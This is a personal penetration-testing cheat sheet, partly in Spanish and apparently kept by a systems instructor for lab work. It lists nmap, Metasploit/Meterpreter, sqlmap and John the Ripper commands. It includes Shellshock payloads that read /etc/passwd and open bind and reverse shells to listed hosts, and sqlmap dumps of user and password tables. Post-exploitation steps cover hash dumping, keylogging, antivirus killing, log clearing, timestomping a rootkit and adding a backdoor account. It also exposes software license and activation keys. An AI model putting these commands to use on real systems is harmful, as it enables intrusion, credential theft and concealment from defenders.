

## [TOOLS]

<https://www.concise-courses.com/hacking-tools/>

<http://www.exploit-db.com>

WHATWEB

HTTP-RECON

BURPSUITE

OWASP-ZAP

NESSUS

GFI NETWORK SCANNER (Module 3 - Scanning) - languar-[GFI LanGuard 2015 build 20150130.exe

NIKTO

MEDUSA

WGET

SQLMAP

NMAP (SCRIPTS)

ZENMAP

NETDISCOVER

**ETHERAPE**

**WIRESHARK**

**TSHARK**

DSNIFF

URLSNARF

FOCA

PROCESS EXPLORER

MSF(session -i | sessions -i #)

1. **METASPLOIT SCANNERS(VNC, SHARING FOLDERS)**
2. **Armitage**
3. **Ping Sweep**
4. **Banner Grabbing**
5. **System Versions**

## **[BLOG]**

<http://dev4sec.blogspot.com/>

## **[Vulnerable Projects]**

<https://code.google.com/p/owaspbwa/wiki/UserGuide>

## **[TOOLS]**

<https://www.concise-courses.com/hacking-tools>

<http://www.kitploit.com/>

## **VIRUSTOTAL**

**WEBMAIL**([education@cldeveloper.com](mailto:education@cldeveloper.com))

<http://webmail.cpanel.ecowebhosting.co.uk/webmail-new/index.php>

**Compiling the proof of concept code**

```
# gcc 10.c -o SambaVuln10
```

# SHEET CHEAT

## [MEMORY DUMP]

- MEMDUMP
- DUMPIT
- VOL

## [HEARTBLEED]

<http://nmap.org/nsedoc/scripts/ssl-heartbleed.html>

<https://cyberarms.files.wordpress.com/2014/04/nmap-heartbleed-vulnerable-detected.png>

## [ANONYMOUS]

- Macchanger
- Proxychains
- Tor

## [NMAP]

- **nmap -sP** 192.168.1.0/24 |awk '{print \$6}'
- **nmap -sV** -A -O 192.168.1.0/24 --open -oX OutputName.xml
- **nmap -sV --script** ssl-heartbleed.nse 192.168.1.103
- **nmap -p 443 --script** ssl-heartbleed <target>
- **nmap -p 443 --script** ssl-heartbleed.nse 192.168.1.103
- **nmap -f -n -P0 -v -p- -T4** 192.168.75.0/24
- **nmap -n -sTUV -pT:22,80,111,139,443,32768,U:111,137,32768** 192.168.75.14
- **nmap -p 1-65535 -T4 -A -v -D** 10.0.0.141 10.0.0.142
- **nmap -O -D** 10.0.0.141 10.0.0.142
- **nmap -sV --script=**dhcp-discover <target>

**cat nm\_sweep.txt |grep Host|cut -d " " -f2**

## [METASPLOIT]

- **msf>db\_connect** postgres:myPassword@127.0.0.1/pentester
- **msf>db\_nmap** -nO -sTU -pT:22,80,111,139,443,32768,U:111,137,32768  
192.168.75.14
- **msf>db\_import** archivo.xml
- Msf>info **Windows/smb/ms08\_067\_netapi**
- Msf> **exploit/windows/browser/ms10\_046\_shortcut\_icon\_dllloader**
- Msf> **exploit/windows/browser/ms10\_002\_aurora**
- Msf> Set payload Windows/vncinject/reverse\_tcp
- Msf>ms03\_026\_dcom -> shell\_bind\_tcp
- **msf > use auxiliary/scanner/portscan/tcpmsf > use auxiliary/scanner/portscan/tcp**
- **msf> use post/windows/gather/hashdump**
- **msf>post(hashdump) db\_export -f pwdump /ksanchez/password.txt**
- **msf>post(hashdump) use auxiliary/analyze/jtr\_crack\_fast**
- **use auxiliary/scanner/smb/smb\_login**
- Hosts
- services -p 443
- vulns
- sessions
- sessions -i 3
- hashdump
- getsystem
- ps
- migrate
- shell
- idletime
- gethashes/hashdump
- winenum (C:\Documents and Settings\Administrador\.msf4\logs\scripts\winenum\VICTIMA\_20120322.2225)
- enum\_shares
- service\_manager
- screen\_unlock
- screenshot
- getwd/getlwd
- clearv
- execute -f calc.exe

- keyscan\_start, keyscan\_dump
- sniffer\_interfaces, sniffer\_start 2
- webcam
- killav
- shutdown
- timestomp rootkit.exe -v
- timestomp c:\\rootkit.exe -f c:\\prueba.txt

## [ARMITAGE]

<http://www.fastandeasyhacking.com/>

**msfpcd -f -U msf -P msf\_password -a 127.0.0.1 -p 5554 -S**

## [CRACKING PASSWORD]

- OPHCRACK
- **./john --show /ksanchez/password.txt**
- **./john --format=raw-md5 /root/passhashes.txt**
- **./john /root/hash\_file.txt --format=nt2 -user=Administrator**

## [WINDOWS]

- Net accounts
- net share
- net user (net user HACKEDBYKSANCHEZ 123pass /add)

## [SQLMAP]

- sqlmap.py -u <URL> --dbs
- sqlmap.py -u <URL> -D <BASE\_DATOS> --tables
- sqlmap.py -u <URL> -T users --columns
- sqlmap.py -u <URL> -T users -c name -U test
- sqlmap.py -u <URL> -T users -c password -U test --dump
- sqlmap.py -u <URL> -T users -U test --dump
- sqlmap.py -u "http://vulnerable/" --headers="X-Forwarded-For: \*" --banner
- sqlmap.py -u "http://vulnerable/" --headers="X-Forwarded-For: \*" --dbs
- sqlmap.py -u "http://vulnerable/" --headers="X-Forwarded-For: \*" -D photoblog --tables

- `sqlmap.py -u "http://vulnerable/" --headers="X-Forwarded-For: *" -D photoblog -T users --columns`
- `sqlmap.py -u "http://vulnerable/" --headers="X-Forwarded-For: *" -D photoblog -T users --dump --batch`
- 

## [NBTSCAN]

`nbtscan 192.168.1.0/24`

## [SAMPLES]

## Example Usage

`nmap -p 443 --script ssl-heartbleed <target>`  
<http://nmap.org/nsedoc/scripts/ssl-heartbleed.html>

## Script Output

**PORT STATE SERVICE**

**443/tcp open https**

**| ssl-heartbleed:**

**| VULNERABLE:**

**| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.**

**| State: VULNERABLE**

**| Risk factor: High**

**| Description:**

**| OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.**

**|**

**| References:**

```
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
| http://www.openssl.org/news/secadv_20140407.txt
|_ http://cvedetails.com/cve/2014-0160/
```

## NMAP DHCP FINDER

```
nmap -sV --script=dhcp-discover <target>
```

### Script Output

```
Interesting ports on 192.168.1.1:
PORT      STATE SERVICE
67/udp    open  dhcps
| dhcp-discover:
| | DHCP Message Type: DHCPACK
| | Server Identifier: 192.168.1.1
| | IP Address Lease Time: 1 day, 0:00:00
| | Subnet Mask: 255.255.255.0
| | Router: 192.168.1.1
|_ |_ Domain Name Server: 208.81.7.10, 208.81.7.14
```

### **[Unicornsca**

Unicorn scan is a very fast scanner that can quickly scan the virtual lab for us

```
# unicornsca -mT -r500 -I 192.168.75.0/24
```

```
# unicornsca -mU -r500 -I 192.168.75.0/24
```

## Banner grabbing with Netcat

```
# ncat 192.168.75.14 80
# nc 192.168.75.14 80
HEAD / HTTP 1.1
```

## Banner grabbing with smbclient

One particularly interesting port that stands out is 139/TCP. With the smbclient tool we can grab the banner of this server.

```
# smbclient -L 192.168.75.14 -N
```

```
./SambaVuln10 -v -d 0 -S 192.168.75
./SambaVuln10 -b 0 -v 192.168.75.14
```

## [TFTP SERVER]

- atftpd --daemon --port 69 --bind-address 192.168.75.12 /tmp
- netstat -anu |grep 69

## [BRUTE FORCE]

xhydra  
medusa

## [WEB HACKING]

## [WEB INFO GATHERING]

Whatweb -v <http://10.0.0.2>



## [Inspecting HTTP headers]

- `echo "HEAD / HTTP/1.1\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | netcat vulnerable 80`
- `GET / HTTP/1.1`

## [DATABASE]

- `./sqlmap.py -u "http://192.168.1.136/newsletter&id=1" --cookie="PHPSESSID=ilu6l7aemran0kdcgerhfd1jv7" --dbms="MySQL" -v 1 --dbs`
- `./sqlmap.py -u http://10.0.0.12/cat.php?id=3`
- `/home/ksanchez/.sqlmap/output/10.0.0.12/`
- `/home/ksanchez/.sqlmap/output/10.0.0.12/log`
- `/home/ksanchez/.sqlmap/output/10.0.0.12/session.sqlite`
- `/home/ksanchez/.sqlmap/output/10.0.0.12/target.txt`
- `./sqlmap.py -u http://10.0.0.12/cat.php?id=3 --dbms="MySQL"`
- `./sqlmap.py -u http://10.0.0.12/cat.php?id=3 --dbms="MySQL" -v 1 --dbs`

- **./sqlmap.py -u http://10.0.0.12/cat.php?id=3 --dbms="MYSQL" -v 1 --dump**
- **./sqlmap.py -u http://10.0.0.12/cat.php?id=3 --dbms="MYSQL"**
- **./sqlmap.py -u http://10.0.0.12/cat.php?id=3 --dbms="MYSQL" -v 1 --dbs**
- **./sqlmap.py -u http://10.0.0.12/cat.php?id=3 --dbms="MYSQL" -v 1 --dump**

**less**

**/home/ksanchez/.sqlmap/output/10.0.0.12/dump/photoblog/users.csv**

**463 less**

**/home/ksanchez/.sqlmap/output/10.0.0.12/dump/photoblog/categories.csv**

**less**

**464 less /home/ksanchez/.sqlmap/output/10.0.0.12**

**465 less /home/ksanchez/.sqlmap/output/10.0.0.12/session.sqlite**

**466 less /home/ksanchez/.sqlmap/output/10.0.0.12/target.txt**

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## **[SHELLSHOCK]**

- **echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :};  
echo \\$(</etc/passwd)\r\nHost: vulnerable\r\nConnection:  
close\r\n\r\n" | nc 10.0.0.9 80**
- **echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :}; /usr/bin/nc  
-l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc  
10.0.0.9 80**
- **echo "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :}; /usr/bin/nc  
192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection:  
close\r\n\r\n" | nc 10.0.0.9 80**
- **curl -H 'x: () { :}; /bin/bash -I >& /dev/tcp/192.168.1.102 0>&1'**

<http://192.168.1.104/cgi-bin/vulnerable.sh>

<http://downloadcenter.trendmicro.com/>

# **LICENCIAS**

**GFI NETWORK SCANNER (Module 3 - Scanning) - languar-[GFI LanGuard 2015 build**

**Your 30-day trial key:**

**c7yhBPdXFYEwLF1JP8agTyynxu1-fDfpn-D-10001**

**NESSUS HOME FEED**

**Your activation code for the Nessus Home is**

**39E2-92C2-A345-517F-5E0B**

## ACERCA DE MI

- ✓ Ingeniero en Sistemas Informáticos Universidad Central del Este (UCE)
- ✓ Profesor Universidad Dominicana O&M
- ✓ Maestria en Gerencia y Productividad - Universidad APEC
- ✓ Postgrado de Auditoria de Sistemas - Universidad O&M
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